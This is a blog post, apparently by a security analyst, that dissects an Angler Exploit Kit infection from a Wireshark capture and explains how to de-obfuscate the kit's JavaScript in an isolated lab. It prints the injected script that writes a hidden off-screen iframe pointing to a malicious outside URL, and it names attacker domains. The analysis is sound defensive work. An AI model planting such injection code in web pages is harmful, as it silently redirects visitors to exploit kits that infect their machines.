If you were to follow the tcp stream
The red text is the request. So victim's machine made a request to get the following javascript file hxxp://word.bhandaridinesh.com.np/view.js
The blue text is the response of the infected web server. But just from viewing the tcp stream above, you probably have no clue what it's doing, right? You can tell it's javascript because of Content-Type: text/javascript. But it's unreadable currently because it's gzip encoded (Content-Encoding: gzip). The solution in wireshark to reading the packets is to File->Export Objects->HTTP.
This will list out all HTTP objects (like javascript files, css files, word documents, or whatever else was downloaded or transferred).
In this case, you want the view.js file so select it and hit Save. Then open it in your text editor of choice. Boom! That looks like javascript that you can read.
The actual content in this case was
document.write(' <div id="39209" style="width: 278px; height: 264px; position: absolute; left:-452px; top: -409px;"> <iframe src="http://luszniewicz.virtual-linux.net/questions/644276/qEdJLS-bSFWO-pXydb-ZEfahaWdC-" width=209 height=206 > </i'+'frame> </div>');
As you can tell above this is using javascript code to write some new HTML elements to the page that the user is currently on. In this case it's creating a DIV tag which is positions well off the screen (see the negative values for left and top position). Inside the DIV tage is the dreaded iframe. This means that code from an outside website it going to be injected/loaded into the website you're currently on. This could of course be prevented with some solid Content Security Policies using headers like X-Frame-Options to restrict which (if any) sites are allowed to load on your site from an iframe. In this case the url that user is being redirected to is the Angler Exploit kit per the blogger mentioned above. You can see that in the next HTTP object in wireshark.
If you save the object and open in your favorite text editor you'll see an HTML page that if you're in the security field you're used to seeing. It's a bunch of random gibberish sentences that make no sense. It's kinda like the Angler Exploit kit's unique calling card, pretty easy to spot by the naked eye, yet pretty tricky for an automated Security tool to spot since there's not many similarities from one landing page to the other because all the text and code is essentially obfuscated and randomized.
If you scroll down far enough you'll find Javascript tags that are heavily obfuscated and near impossible to read at first glance.
And eventually if you scroll enough you'll see a collection of Javascript variables in the Angler Exploit kit. This is actually the core data. If you're able to decrypt these variables you're able to see where the payload urls are pulling the malware/viruses from.
If you're comfortable with javascript and know what you're doing it's not very hard to complete this process. If you're not familiar with javascript or this whole process, you have to be careful, because if you accidentally execute this javascript or download the resulting urls you may wind up infecting the device you're on. So to be extra cautious you probably want to spin up a disposable virtual machine not connected to the internet at all that you can analyze this javascript in.
Then my personal preference short of using some automated scripts that security researchers have written, would be to carve out the javascript from the html page and save it in a separate file. Then the keys to being successful are to remove the javascript code that looks like it's going to be executing Active X or XML Request or other malicious calls. For example, this code may seem harmless
LqejPHhTcQlxj[HfNjIsqnJo]("kOWwE-PH2t-blQrTRBsQZaur");
But if put together with all the other obfuscated code higher up in the file, my guess is this is a call to a malicious object such as an ActiveX or XMLHttpRequest object meaning it could try to download a file , save it to your c drive, or execute a file. So lines of code like this may need to be comment out or replaced with simpler things such as alert popup boxes or console debug statements so that you can print out the values without actually executing them. The main thing we're typically after though is those payload urls, where are they going to download the malicious executable? To determine that you need that block of variables I mentioned above, plus you need the "decrypt" function which is buried in the javascript somewhere. I typically identify it as the function with the most for loops in it! Thus something like below to me indicates that JDUXLD might be the decrypt function.
Thus if you can rip out all the other javascript except essentially for those variables and this decrypt function you can simply execute javascript that decrypts the variables but doesn't actually execute any malicious code.
So you might end up with some debug statements like this
That may spit out the url that delivers the payload into the debug console. Now that you've got that information, you can inspect that malicious content in your lab, submit it to your sandbox platform, or whatever your next steps are.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
